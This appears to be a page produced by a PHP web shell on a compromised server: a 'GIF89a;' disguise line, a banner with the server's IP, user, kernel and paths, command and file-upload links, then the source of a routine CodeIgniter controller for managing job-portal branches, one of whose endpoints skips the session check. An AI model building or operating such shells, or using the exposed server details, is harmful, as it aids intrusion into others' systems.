GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.116.85.204 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../jobs/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to branches. * * @author Ankit Srivastava */ defined('BASEPATH') OR exit('No direct script access allowed'); class Branch extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/BranchManagement'); $this->load->model('user/LocationManagement'); //$this->load->model('admin/MediaAndDocManagement'); //$this->load->model('admin/DocumentManagement'); } public function index() { if ($this->sessionvalidator->validateSession()) { $viewData['allBranches'] = $this->BranchManagement->getAllBranches()->result(); $this->load->view('admin/branches', $viewData); } else { redirect("admin/"); } } public function createBranch() { if ($this->sessionvalidator->validateSession()) { redirect("admin/Branch/"); $viewData['states'] = $this->LocationManagement->getStates()->result(); $this->load->view('admin/createBranch', $viewData); } else { redirect("admin/"); } } public function saveNewBranch() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules('branchName', 'Branch Name', 'trim|required', array('required' => 'Branch Name Can Not Be Blank.')); $this->form_validation->set_rules('branchShortName', 'Branch Short Name', 'trim|required', array('required' => 'Branch Short Name Can Not Be Blank.')); $this->form_validation->set_rules('branchMob', 'Branch Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Branch Mobile Number Can Not Be Blank')); $this->form_validation->set_rules('branchEmail', 'Branch Email', 'trim|required|valid_email', array('required' => 'Branch Email Is Required.')); $queryByBranchName = $this->BranchManagement->getBranchInfoByName(trim($this->input->post('branchName'))); $branchInfoByName = $queryByBranchName->result(); $queryByBranchEmail = $this->BranchManagement->getBranchInfoByEmail(trim($this->input->post('branchEmail'))); $branchInfoByEmail = $queryByBranchEmail->result(); $queryByBranchMobile = $this->BranchManagement->getBranchInfoByMobile(trim($this->input->post('branchMob'))); $branchInfoByMobile = $queryByBranchMobile->result(); if ($this->form_validation->run() == FALSE) { $this->createBranch(); } else if (empty($_FILES['branchLogo']['name'])) { $this->form_validation->set_rules('branchLogo', 'Branch Logo', 'required', array('required' => 'Branch Logo Is Required.')); $this->form_validation->run(); $this->createBranch(); } else if (sizeof($branchInfoByName)) { $this->session->set_flashdata('errorMessage', "A Branch With This Name Already Exits. Please choose A Different Name."); $this->createBranch(); } else if (sizeof($branchInfoByEmail)) { $this->session->set_flashdata('errorMessage', "A Branch With This Email Already Exits. Please Try With Different Email."); $this->createBranch(); } else if (sizeof($branchInfoByMobile)) { $this->session->set_flashdata('errorMessage', "A Branch With This Mobile Number Already Exits. Please Try With Different Mobile."); $this->createBranch(); } else { $this->load->library('upload'); $branchLogoImageNameWithPath = ""; $configBranchLogoImg['upload_path'] = './assets/admin/images/branchLogo/'; $configBranchLogoImg['allowed_types'] = 'png'; $configBranchLogoImg['max_size'] = '500'; $configBranchLogoImg['file_ext_tolower'] = TRUE; $this->upload->initialize($configBranchLogoImg); if (!$this->upload->do_upload('branchLogo')) { $this->session->set_flashdata('errorMessage', "The Logo Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.webp."); $this->createBranch(); } else { $branchLogoImageNameWithPath = "/assets/admin/images/branchLogo/branchlogo.png"; /* Saving Same Image As System Logo */ $configLogoImg['upload_path'] = './assets/admin/images/'; $configLogoImg['allowed_types'] = 'png'; $configLogoImg['max_size'] = '500'; $configLogoImg['file_ext_tolower'] = TRUE; $configLogoImg['file_name'] = "logo.png"; $this->upload->initialize($configLogoImg); $this->upload->do_upload('branchLogo'); /* Saving Same Image As System Logo */ /* Letter Head Image */ $branchLHImageNameWithPath = ""; $configLHImg['upload_path'] = './assets/admin/images/'; $configLHImg['allowed_types'] = 'jpeg|jpg|png'; $configLHImg['max_size'] = '500'; $configLHImg['file_ext_tolower'] = TRUE; $configLHImg['file_name'] = "header.png"; $this->upload->initialize($configLHImg); if (!$this->upload->do_upload('branchLetterHeadImg')) { $this->session->set_flashdata('errorMessage', "The Letter Head Image Can Not Be Uploaded As It Do Not Match With Letter Head Image Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg."); $this->createBranch(); } else { $branchLHImageNameWithPath = "/assets/admin/images/header.png"; /* Letter Head Image */ /* Home Background Image */ $branchHomeBGImageNameWithPath = ""; $configBGImg['upload_path'] = './assets/images/'; $configBGImg['allowed_types'] = 'jpg'; $configBGImg['max_size'] = '1024'; $configBGImg['max_width'] = '720'; $configBGImg['max_height'] = '391'; $configBGImg['min_width'] = '720'; $configBGImg['min_height'] = '391'; $configBGImg['file_ext_tolower'] = TRUE; $configBGImg['file_name'] = "banner.jpg"; $this->upload->initialize($configBGImg); if (!$this->upload->do_upload('branchBGImage')) { $this->session->set_flashdata('errorMessage', "The Background Image Can Not Be Uploaded As It Do Not Match With Background Image Criteria. File Size 1 MB Max. & Allowed Extension: Only *.jpg."); $this->createBranch(); } else { $branchHomeBGImageNameWithPath = "/assets/images/banner.jpg"; /* Home Background Image */ $newBranchInfo = array( 'branch_name' => addslashes(trim($this->input->post('branchName'))), 'branch_short_name' => addslashes(trim($this->input->post('branchShortName'))), 'branch_state' => ($this->input->post('branchState') == "") ? 0 : $this->input->post('branchState'), 'branch_city' => ($this->input->post('branchCity') == "") ? 0 : $this->input->post('branchCity'), 'branch_full_address' => addslashes(trim($this->input->post('branchFullAddress'))), 'branch_tel_no' => trim($this->input->post('branchTelNo')), 'branch_mobile_no' => trim($this->input->post('branchMob')), 'branch_fax' => trim($this->input->post('branchFax')), 'branch_email' => trim($this->input->post('branchEmail')), 'branch_website_url' => trim($this->input->post('branchWebsite')), 'branch_city_offc_full_address' => addslashes(trim($this->input->post('branchCOFullAddress'))), 'branch_city_offc_tel_no' => trim($this->input->post('branchCOTelNo')), 'branch_city_offc_mobile_no' => trim($this->input->post('branchCOMob')), 'branch_city_offc_fax' => trim($this->input->post('branchCOFax')), 'branch_city_offc_email' => trim($this->input->post('branchCOEmail')), 'branch_bg_image' => $branchHomeBGImageNameWithPath, 'branch_lh_image' => $branchLHImageNameWithPath, 'branch_added_on' => date("Y-m-d H:i:s"), 'branch_added_by' => $this->session->userdata("job_admin_data")["admin_id"], 'branch_updated_on' => date("Y-m-d H:i:s"), 'branch_updated_by' => $this->session->userdata("job_admin_data")["admin_id"] ); $this->db->trans_start(); $branch_id = $this->BranchManagement->createNewBranch($newBranchInfo); if ($branch_id) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Branch Created Successfully.'); redirect("admin/Branch"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating New Branch. Try Later.'); $this->createBranch(); } } } } } } else { redirect("admin/"); } } public function editBranch($branch_id) { if ($this->sessionvalidator->validateSession()) { $viewData['states'] = $this->LocationManagement->getStates()->result(); $viewData['branchInfo'] = $this->BranchManagement->getBranchInfoBy($branch_id)->result()[0]; $this->load->view('admin/editBranch', $viewData); } else { redirect("admin/"); } } public function updateBranch() { if ($this->sessionvalidator->validateSession()) { $branch_id = $this->input->post('branch_id'); $this->form_validation->set_rules('branchName', 'Branch Name', 'trim|required', array('required' => 'Branch Name Can Not Be Blank.')); $this->form_validation->set_rules('branchMob', 'Branch Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Branch Mobile Number Can Not Be Blank')); $this->form_validation->set_rules('branchEmail', 'Branch Email', 'trim|required|valid_email', array('required' => 'Branch Email Is Required.')); if ($this->form_validation->run() == FALSE) { $this->editBranch($branch_id); } else { if (!$this->BranchManagement->isBranchNameSafeUpdate($branch_id, trim($this->input->post('branchName')))) { $this->session->set_flashdata('errorMessage', "A Branch With This Name (" . $this->input->post('branchName') . ") Already Exits. Please Choose A Different Name."); $this->editBranch($branch_id); } else if (!$this->BranchManagement->isBranchEmailSafeUpdate($branch_id, trim($this->input->post('branchEmail')))) { $this->session->set_flashdata('errorMessage', "A Branch With This Email (" . $this->input->post('branchEmail') . ") Already Exits. Please Try With Different Email."); $this->editBranch($branch_id); } else if (!$this->BranchManagement->isBranchMobileSafeUpdate($branch_id, trim($this->input->post('branchMob')))) { $this->session->set_flashdata('errorMessage', "A Branch With This Mobile Number (" . $this->input->post('branchMob') . ") Already Exits. Please Try With Different Mobile."); $this->editBranch($branch_id); } else { $branchLHImageNameWithPath = ""; $branchHomeBGImageNameWithPath = ""; $this->load->library('upload'); if ((!empty($_FILES['branchLogo']['name'])) || (!empty($_FILES['branchLetterHeadImg']['name'])) || (!empty($_FILES['branchBGImage']['name']))) { if (!empty($_FILES['branchLogo']['name'])) { $configBranchLogoImgUpdate['upload_path'] = './assets/admin/images/branchLogo/'; $configBranchLogoImgUpdate['allowed_types'] = 'jpeg|jpg|png|webp'; $configBranchLogoImgUpdate['max_size'] = '500'; $configBranchLogoImgUpdate['file_ext_tolower'] = TRUE; $configBranchLogoImgUpdate['file_name'] = "branchlogo.png"; $this->upload->initialize($configBranchLogoImgUpdate); $this->upload->overwrite = true; if (!$this->upload->do_upload('branchLogo')) { $this->session->set_flashdata('errorMessage', "The Logo Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.webp."); $this->editBranch($branch_id); } else { /* Saving Same Image As System Logo */ $configLogoImg['upload_path'] = './assets/images/'; $configLogoImg['allowed_types'] = 'png'; $configLogoImg['max_size'] = '500'; $configLogoImg['file_ext_tolower'] = TRUE; $configLogoImg['file_name'] = "logo.png"; $this->upload->initialize($configLogoImg); $this->upload->overwrite = true; $this->upload->do_upload('branchLogo'); /* Saving Same Image As System Logo */ } } if (!empty($_FILES['branchLetterHeadImg']['name'])) { $configLHImg['upload_path'] = './assets/images/'; $configLHImg['allowed_types'] = 'png'; $configLHImg['max_size'] = '500'; $configLHImg['file_ext_tolower'] = TRUE; $configLHImg['file_name'] = "header.png"; $this->upload->initialize($configLHImg); $this->upload->overwrite = true; if (!$this->upload->do_upload('branchLetterHeadImg')) { $this->session->set_flashdata('errorMessage', "The Letter Head Image Can Not Be Uploaded As It Do Not Match With Letter Head Image Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png."); $this->editBranch($branch_id); } else { $branchLHImageNameWithPath = "/assets/images/header.png"; } } if (!empty($_FILES['branchBGImage']['name'])) { $configBGImg['upload_path'] = './assets/images/'; $configBGImg['allowed_types'] = 'jpg'; $configBGImg['max_size'] = '1024'; $configBGImg['max_width'] = '720'; $configBGImg['max_height'] = '391'; $configBGImg['min_width'] = '720'; $configBGImg['min_height'] = '391'; $configBGImg['file_ext_tolower'] = TRUE; $configBGImg['file_name'] = "banner.jpg"; $this->upload->initialize($configBGImg); $this->upload->overwrite = true; if (!$this->upload->do_upload('branchBGImage')) { $this->session->set_flashdata('errorMessage', $this->upload->display_errors()); $this->editBranch($branch_id); } else { $branchHomeBGImageNameWithPath = "/assets/images/banner.jpg"; } } /* Updating */ $branchInfo = array( 'branch_id' => $branch_id, 'branch_name' => addslashes(trim($this->input->post('branchName'))), 'branch_short_name' => addslashes(trim($this->input->post('branchShortName'))), 'branch_state' => ($this->input->post('branchState') == "") ? 0 : $this->input->post('branchState'), 'branch_city' => ($this->input->post('branchCity') == "") ? 0 : $this->input->post('branchCity'), 'branch_full_address' => addslashes(trim($this->input->post('branchFullAddress'))), 'branch_tel_no' => trim($this->input->post('branchTelNo')), 'branch_mobile_no' => trim($this->input->post('branchMob')), 'branch_fax' => trim($this->input->post('branchFax')), 'branch_email' => trim($this->input->post('branchEmail')), 'branch_website_url' => trim($this->input->post('branchWebsite')), 'branch_city_offc_full_address' => addslashes(trim($this->input->post('branchCOFullAddress'))), 'branch_city_offc_tel_no' => trim($this->input->post('branchCOTelNo')), 'branch_city_offc_mobile_no' => trim($this->input->post('branchCOMob')), 'branch_city_offc_fax' => trim($this->input->post('branchCOFax')), 'branch_city_offc_email' => trim($this->input->post('branchCOEmail')), 'branch_lh_image' => "/assets/images/header.png", 'branch_bg_image' => "/assets/images/banner.jpg", 'branch_updated_on' => date("Y-m-d H:i:s"), 'branch_updated_by' => $this->session->userdata("job_admin_data")["admin_id"] ); $this->db->trans_start(); if ($this->BranchManagement->updateBranchInfo($branchInfo)) { $this->session->set_flashdata('successMessage', 'Branch Updated Successfully.'); $this->db->trans_complete(); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Branch. Try Later.'); $this->editBranch($branch_id); } redirect("admin/Branch"); /* Updating */ } else { $branchInfo = array( 'branch_id' => $branch_id, 'branch_name' => addslashes(trim($this->input->post('branchName'))), 'branch_short_name' => addslashes(trim($this->input->post('branchShortName'))), 'branch_state' => ($this->input->post('branchState') == "") ? 0 : $this->input->post('branchState'), 'branch_city' => ($this->input->post('branchCity') == "") ? 0 : $this->input->post('branchCity'), 'branch_full_address' => addslashes(trim($this->input->post('branchFullAddress'))), 'branch_tel_no' => trim($this->input->post('branchTelNo')), 'branch_mobile_no' => trim($this->input->post('branchMob')), 'branch_fax' => trim($this->input->post('branchFax')), 'branch_email' => trim($this->input->post('branchEmail')), 'branch_website_url' => trim($this->input->post('branchWebsite')), 'branch_city_offc_full_address' => addslashes(trim($this->input->post('branchCOFullAddress'))), 'branch_city_offc_tel_no' => trim($this->input->post('branchCOTelNo')), 'branch_city_offc_mobile_no' => trim($this->input->post('branchCOMob')), 'branch_city_offc_fax' => trim($this->input->post('branchCOFax')), 'branch_city_offc_email' => trim($this->input->post('branchCOEmail')), 'branch_updated_on' => date("Y-m-d H:i:s"), 'branch_updated_by' => $this->session->userdata("job_admin_data")["admin_id"] ); $this->db->trans_start(); if ($this->BranchManagement->updateBranchInfo($branchInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Branch Updated Successfully.'); redirect("admin/Branch"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Branch. Try Later.'); $this->editBranch($branch_id); } } } } } else { redirect("admin/"); } } public function toggleBranchActiveStatus($branch_id, $toUpdateStatus) { if ($this->sessionvalidator->validateSession()) { $branchUpdateData = array( 'branch_id' => $branch_id, 'branch_updated_on' => date("Y-m-d H:i:s"), 'branch_updated_by' => $this->session->userdata("job_admin_data")["admin_id"], 'branch_active_status' => $toUpdateStatus ); if ($this->BranchManagement->updateBranchInfo($branchUpdateData)) { $this->session->set_flashdata('successMessage', 'Branch Status Updated Successfully.'); redirect("admin/Branch"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Branch Status. Try Later.'); redirect("admin/Branch"); } } else { redirect("admin/"); } } public function deleteBranch($branch_id) { if ($this->sessionvalidator->validateSession()) { $branchUpdateData = array( 'branch_id' => $branch_id, 'branch_updated_on' => date("Y-m-d H:i:s"), 'branch_updated_by' => $this->session->userdata("job_admin_data")["admin_id"], 'branch_delete_status' => 'T' ); if ($this->BranchManagement->updateBranchInfo($branchUpdateData)) { $this->session->set_flashdata('successMessage', 'Branch Deleted Successfully.'); redirect("admin/Branch"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Branch. Try Later.'); redirect("admin/Branch"); } } else { redirect("admin/"); } } public function undoDeleteBranch($branch_id) { if ($this->sessionvalidator->validateSession()) { $branchUpdateData = array( 'branch_id' => $branch_id, 'branch_updated_on' => date("Y-m-d H:i:s"), 'branch_updated_by' => $this->session->userdata("job_admin_data")["admin_id"], 'branch_delete_status' => 'F' ); if ($this->BranchManagement->updateBranchInfo($branchUpdateData)) { $this->session->set_flashdata('successMessage', 'Branch Recovered Successfully.'); redirect("admin/Branch"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Branch. Try Later.'); redirect("admin/Branch"); } } else { redirect("admin/"); } } public function getBranchFullInfo() { $branch_id = $_POST['branch_id']; $branch_info = $this->BranchManagement->getBranchInfoBy($branch_id)->result()[0]; $activeStatus = ""; if ($branch_info->branch_active_status == "T" && $branch_info->branch_delete_status == "F") { $activeStatus = "<i class='fa fa-check' style='color:#00FF00;'></i> Active"; } else if ($branch_info->branch_active_status == "F" && $branch_info->branch_delete_status == "F") { $activeStatus = "<i class='fa fa-ban' style='color:#FF0000;'></i> Disabled"; } else { $activeStatus = "<i class='fa fa-trash' style='color:#FF0000;'></i> Deleted"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'branch_id' => $branch_info->branch_id, 'branch_name' => $branch_info->branch_name, 'branch_image' => '/assets/admin/images/branchLogo/branchlogo.png', 'branch_state' => $branch_info->state_name, 'branch_city' => $branch_info->city_name, 'branch_address' => ($branch_info->branch_full_address == "" || $branch_info->branch_full_address == NULL) ? "-" : $branch_info->branch_full_address, 'branch_tel_no' => ($branch_info->branch_tel_no == "" || $branch_info->branch_tel_no == NULL) ? "-" : $branch_info->branch_tel_no, 'branch_mob_no' => $branch_info->branch_mobile_no, 'branch_delete_status' => ($branch_info->branch_delete_status == "T") ? "<i class='fa fa-check' style='color:#00FF00;'></i> Deleted" : "<i class='fa fa-times' style='color:#FF0000;'></i> Not Deleted", 'branch_active_status' => $activeStatus, 'branch_fax' => ($branch_info->branch_fax == "" || $branch_info->branch_fax == NULL) ? "NA" : $branch_info->branch_fax, 'branch_email' => $branch_info->branch_email, 'branch_coffc_address' => ($branch_info->branch_city_offc_full_address == "" || $branch_info->branch_city_offc_full_address == NULL) ? "NA" : $branch_info->branch_city_offc_full_address, 'branch_coffc_tel_no' => ($branch_info->branch_city_offc_tel_no == "" || $branch_info->branch_city_offc_tel_no == NULL) ? "NA" : $branch_info->branch_city_offc_tel_no, 'branch_coffc_mob_no' => ($branch_info->branch_city_offc_mobile_no == "" || $branch_info->branch_city_offc_mobile_no == NULL) ? "NA" : $branch_info->branch_city_offc_mobile_no, 'branch_coffc_fax' => ($branch_info->branch_city_offc_fax == "" || $branch_info->branch_city_offc_fax == NULL) ? "NA" : $branch_info->branch_city_offc_fax, 'branch_coffc_email' => ($branch_info->branch_city_offc_email == "" || $branch_info->branch_city_offc_email == NULL) ? "NA" : $branch_info->branch_city_offc_email, 'branch_website' => ($branch_info->branch_website_url == "" || $branch_info->branch_website_url == NULL) ? "NA" : $branch_info->branch_website_url, 'branch_created_by' => $branch_info->login_name . " At " . date('d-m-Y h:i:s A', strtotime($branch_info->branch_added_on)), 'branch_updated_by' => $branch_info->login_name . " At " . date('d-m-Y h:i:s A', strtotime($branch_info->branch_updated_on)) ); echo json_encode($responseData); } }